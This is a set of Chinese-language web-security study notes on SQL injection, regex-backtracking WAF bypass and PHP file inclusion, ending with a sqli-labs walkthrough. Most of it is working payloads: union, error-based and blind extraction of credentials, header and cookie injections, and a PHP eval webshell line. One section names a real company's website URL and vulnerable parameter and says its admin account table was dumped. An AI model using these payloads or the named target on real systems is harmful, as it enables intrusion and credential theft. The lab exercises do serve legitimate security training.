一、SQL 注入核心知识点
1. 基础概念与核心目标
- 定义:利用应用程序对用户输入验证不足的缺陷,将恶意 SQL 语句注入到数据库查询中,实现未授权的数据访问或操作。
- 核心目标:获取敏感数据(如管理员账号密码)、越权操作数据库、甚至控制服务器。
2. 核心前提与注入点识别
- 产生条件:用户输入(如 GET/POST 参数)被直接拼接到 SQL 语句中,未做有效过滤或参数化处理。
- 注入点测试 :通过拼接特殊字符(单引号
'、双引号"、注释符--+等)触发 SQL 语法错误,判断是否存在注入点。- 示例:
id=1'触发报错near '1'' LIMIT 0,1',说明存在注入点。
- 示例:
3. 关键操作与核心函数
(1)确定查询列数
- 方法 :使用
order by N排序,通过报错判断列数(报错提示 "Unknown column 'N'" 说明列数为 N-1)。 - 示例:
id=1' order by 3--+正常,id=1' order by 4--+报错 → 查询列数为 3。
(2)信息收集(依赖information_schema系统库)
- 系统库作用:MySQL 默认自带,存储数据库名、表名、列名等元数据。
SCHEMATA:存储所有数据库名称。TABLES:存储所有表名(关联table_schema字段定位数据库)。COLUMNS:存储所有列名(关联table_schema和table_name定位表)。
- 核心查询语句:
- 查数据库名:
select schema_name from information_schema.schemata limit 0,1。 - 查表名:
select table_name from information_schema.tables where table_schema='数据库名' limit 0,1。 - 查列名:
select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1。
- 查数据库名:
(3)数据获取核心函数
- 字符串截取:
substr()、substring()、left()、right()(解决报错注入 32 字符限制)。 - 数据聚合:
group_concat()(将多行结果合并为一行,便于一次性获取)。 - 长度计算:
length()(获取字段值长度,用于分段截取)。 - 报错触发:
updatexml()、extractvalue()(通过 XPATH 语法错误回显数据)。
4. 主流注入类型与实战方法
(1)联合查询注入(union select)
- 核心条件:前后查询列数一致。
- 实战步骤:
- 构造负数 ID 使原始查询无结果:
id=-1'。 - 拼接联合查询:
id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+。 - 0x3a 为冒号的十六进制编码,用于分隔用户名和密码。
- 构造负数 ID 使原始查询无结果:
(2)报错注入
- 核心原理:利用数据库函数报错机制,将查询结果嵌入错误信息中回显。
- 常用 Payload:
id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+(0x7e 为波浪号,分隔错误信息与数据)。id=1' and extractvalue(1,concat(0x7e,database(),0x7e))--+。
- 注意 :
updatexml()和extractvalue()仅回显 32 个字符,需用substr()分段获取长数据。
(3)盲注(无回显场景)
- 核心思路 :通过判断条件真假(如
length()、substr()配合and 1=1/and 1=0),逐字符猜解数据。 - 工具辅助:可使用 SQLmap 自动化猜解,或编写 Python 脚本实现二分查找提升效率。
5. 账号密码爆破技巧(密码喷洒)
- 传统爆破缺陷:密码字典庞大易触发风控(如 1 分钟内错误 3 次封 IP)。
- 密码喷洒策略:固定弱密码(123456、111111、888888 等),爆破用户名(admin、root、manager 等),降低风控触发概率。
- 工具:BurpSuite 批量发送请求,配合线程池提升效率。
6. 信息收集辅助手段
- 后台地址挖掘:
- 爬虫工具:Dirsearch、Dirmap、AWVS(爬取隐藏后台)。
- 搜索引擎语法:
site:目标域名 intext:"管理|登录"(Google/Bing)。 robots.txt文件:可能泄露后台路径、敏感目录。
- 子站发现:Fofa、Hunter、Quark 等平台,通过域名关联查找子站注入点。
二、正则回溯绕过(WAF 绕过核心)
1. 核心原理
- 正则引擎差异 :PHP 使用 NFA(非确定性有限状态自动机)正则引擎,匹配时存在回溯机制,当回溯次数超过
pcre.backtrack_limit(默认 100 万次),preg_match()返回false,导致 WAF 检测失败。 - ReDoS 攻击:通过构造超长字符串,使 WAF 的正则表达式陷入大量回溯,触发超时放弃检测,实现请求绕过。
2. 适用场景
- WAF 通过正则拦截敏感 SQL 语句(如
select(.*)from、union.+?select)。 - 无法通过大小写混淆、注释符(
/**/、/*!*/)、重叠字符(selselectect)绕过的场景。
3. 实战绕过方法
- 核心思路 :在敏感关键字(如
select和from)之间插入大量垃圾字符(如 100 万个a),触发正则回溯超时。 - Payload 构造 :
select/*a*1000000*/from(/*...*/为 MySQL 注释,垃圾字符填充在注释内不影响 SQL 执行)。 - 实战案例 :重庆再生能源集团官网(
http://www.cqzszy.com.cn/order_sell.php),POST 参数bs存在注入点,WAF 拦截select(.*)from,通过上述 Payload 成功绕过,获取zszy_admin表的账号密码。
4. 完整利用脚本(核心功能)
- 获取表名:循环
limit offset,1,通过updatexml()回显表名。 - 获取列名:指定表名,循环查询
information_schema.columns。 - 分段获取数据:利用
substr()按 5 字符分段,解决 32 字符限制。 - HEX 编码获取:通过
hex()函数将数据转为十六进制,避免特殊字符干扰。
5. WAF 防御改进建议
- 避免使用贪婪量词(
.*),改用原子分组((?>...))或占有量词(.*+)。 - 设置正则执行时间限制和请求体大小限制(如限制 1MB 以内)。
- 采用多层防御(应用层过滤 + 协议层校验 + 行为分析),避免单层正则检测。
三、文件包含漏洞
1. 核心原理与产生条件
- 定义 :应用程序使用
include()/require()等函数包含文件时,文件路径由用户可控,导致恶意文件被包含执行。 - 核心条件 :
include()的参数可控,且未对文件路径、类型做有效过滤。 - 关键特性 :
include()不校验文件后缀,只要文件内容包含 PHP 代码,即可执行。
2. 常用利用方式
(1)伪协议利用(核心)
|--------------|--------------------|---------------------------------------------------------------------------------------|
| 协议 | 作用 | 典型用法 |
| php://filter | 读取源码(Base64编码避免执行) | ?file=php://filter/read=convert.base64-encode/resource=config.php |
| php://input | 执行POST提交的PHP代码 | POST 数据:<?php eval($_POST['cmd']);?>,URL:?file=php://input(需allow_url_include=on) |
| phar:// | 解析压缩包内文件(配合反序列化) | ?file=phar://test.jpg/shell.php(将含 shell 的 zip 改名为 jpg) |
| zip:// | 访问压缩包内文件 | ?file=zip://test.jpg%23shell.php(#编码为%23) |
2)包含系统 / 日志文件
- 日志文件:
/var/log/nginx/access.log(Nginx 访问日志)、/var/log/auth.log(SSH 登录日志),需先通过请求注入 PHP 代码到日志中。 - 临时文件:利用文件上传、Session 创建等场景生成的临时文件,通过条件竞争包含。
- 特殊文件:
/proc/self/environ(理论可行,实战中权限限制较多)。
(3)Session 文件包含
- 核心条件 :Session 中的可控参数(如
username)被写入 Session 文件,且知道 Session 存储路径和文件名(默认/tmp/sess_PHPSESSID)。 - 利用步骤 :注入 PHP 代码到 Session 可控参数,通过
?file=/tmp/sess_xxx包含执行。
3. 防御建议
- 限制包含路径:通过
open_basedir指定允许包含的目录。 - 过滤危险字符:拦截
../、伪协议(php://、phar://等)。 - 禁用危险配置:
allow_url_include=Off(默认禁用)。 - 校验文件类型:仅允许包含指定后缀的文件(如
.php),且通过白名单校验。
四、关键工具与实战技巧
1. 核心工具
- 注入工具:SQLmap(自动化注入)、BurpSuite(手动构造 Payload、爆破)。
- 目录扫描:Dirsearch、Dirmap、AWVS(挖掘后台和敏感文件)。
- 调试工具:PHPinfo(查看配置参数,如
session.save_path、pcre.backtrack_limit)、BurpSuite(流量拦截与篡改)。
2. 实战核心技巧
- 多维度绕过:当 GET 注入被拦截时,尝试 POST 注入(如案例中
bs参数为 POST 注入点)。 - 权限优先:获取管理员账号密码后,优先登录后台,避免直接命令执行触发告警。
- 合法测试:所有操作需在授权环境(众测平台、靶场)进行,遵循《网络安全法》,避免未授权渗透。
- 基础扎实:熟练掌握 MySQL 基础语法、PHP 配置参数、正则引擎原理,是灵活绕过的关键。
五、靶场闯关
1.Less-1 联合注入查询
定位注入点
http://localhost/sqli/Less-1/?id=1'
判断列数
?id=1' order by 1--+
?id=1' order by 2--+
?id=1' order by 3--+
?id=1' order by 4--+
判断回显位置
?id=-1' union select 1,2,3--+
获取当前数据库名称:security
?id=-1' union select 1,database(),3--+
获取所有表名:emails,referers,uagents,users
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
获取users表的所有列名:id,username,password
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
提取账号密码
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+
2.Less-5 布尔盲注
SQL 注入无回显场景的核心利用方式,目标程序仅返回 "正常 / 异常" 两种布尔结果(无数据直接回显、无报错信息)
核心逻辑
- 构造带条件判断的 SQL 语句,利用程序 "正常显示页面 / 空白 / 报错" 的差异,判断条件真假;
- 结合字符串截取、长度判断、字符比较函数,逐字符验证目标数据的每一位,最终拼接出完整内容。
核心函数(MySQL 为例)
length(字段/语句):判断目标数据的长度(如判断密码长度是否为 6);substr(目标, 位置, 1):截取目标数据的指定位置字符(如截取密码第 1 位);ascii(字符):将字符转为 ASCII 码,方便数值比较(如判断字符是否为 a,即 ASCII=97)。
极简示例
假设目标注入点为 ?id=1,无数据回显,仅 id 合法时显示正常页面:
- 判断数据库名长度:
?id=1 and length(database())=6--+(页面正常→数据库名长度为 6); - 逐字符猜解数据库名第 1 位:
?id=1 and ascii(substr(database(),1,1))=97--+(页面正常→第 1 位是 a,ASCII=97); - 依次猜解第 2、3... 位,最终拼接出完整数据库名。
3.Less-18 User-Agent注入
注入点在User-Agent请求头中,如下所示:
POST /sqli/Less-18/
User-Agent: ' OR extractvalue(1,concat('!',database())) OR '
uname=admin&passwd=123&submit=Submit
4.Less-19 Referer注入
注入点在Referer请求头中,方法同Less-18
5.Less-20 Cookie注入
Cookie参数值直接带入SQL
Cookie: uname=admin' union select 1,user(),3#
6.less-23 注释符绕过
过滤了#和--+,使用;%00或闭合方式绕过
?id=-1' union select 1,2,3 or '1'='1
7.Less-24 二次注入
用该恶意账号admin'登录后,执行「修改密码」操作,此时代码会直接从数据库读取存储的用户名admin\' ,拼接进密码修改的 SQL 语句中,且无二次过滤
注册恶意账号
用户名:admin'#
密码:123456
登录admin'#获取session
修改密码为pass888
原本的密码修改 SQL(正常逻辑):
UPDATE users SET password='新密码' WHERE username='登录的用户名' AND password='旧密码'
拼接恶意用户名后,SQL 变为:
UPDATE users SET password='新密码' WHERE username='admin\' AND password='旧密码'
此时数据库会自动解析转义符,\'还原为',最终 SQL 被篡改:
UPDATE users SET password='新密码' WHERE username='admin' AND password='旧密码'
8.Less-25 双写绕过
过滤了or 和 and,通过双写关键字绕过
?id=-1' union select 1,group_concat(username,0x3a,passwoorrd),3 from users--+
9.Less-26 空格过滤绕过
过滤了空格,通过替代空格绕过,可用 /**/ , %0a , ()
?id=1' &&(updatexml(1,concat(0x7e,database(),0x7e),1))&&('1')='1
10.Less-27 大小写绕过
?id=100'%0aUniOn%0ASElecT%0a1,2,3;%00
11.Less-32 宽字节注入
利用MySQL 宽字节编码特性 (如 GBK 编码,占 2 个字节),输入特殊字符 % df ,让转义符\(URL 编码%5c)被 "吃掉",重新还原出可闭合的单引号
单引号被\转义,无法闭合 SQL,用%df'替代普通单引号,即可绕过转义:
?id=-1%df' union select 1,user(),3--+
12.Less-37 POST宽字节注入
uname=admin%df'#
passwd=123
13.Less-38 堆叠注入
堆叠可执行多条SQL语句
?id=1';insert into users(id,username,password) values(100,'test','123')--+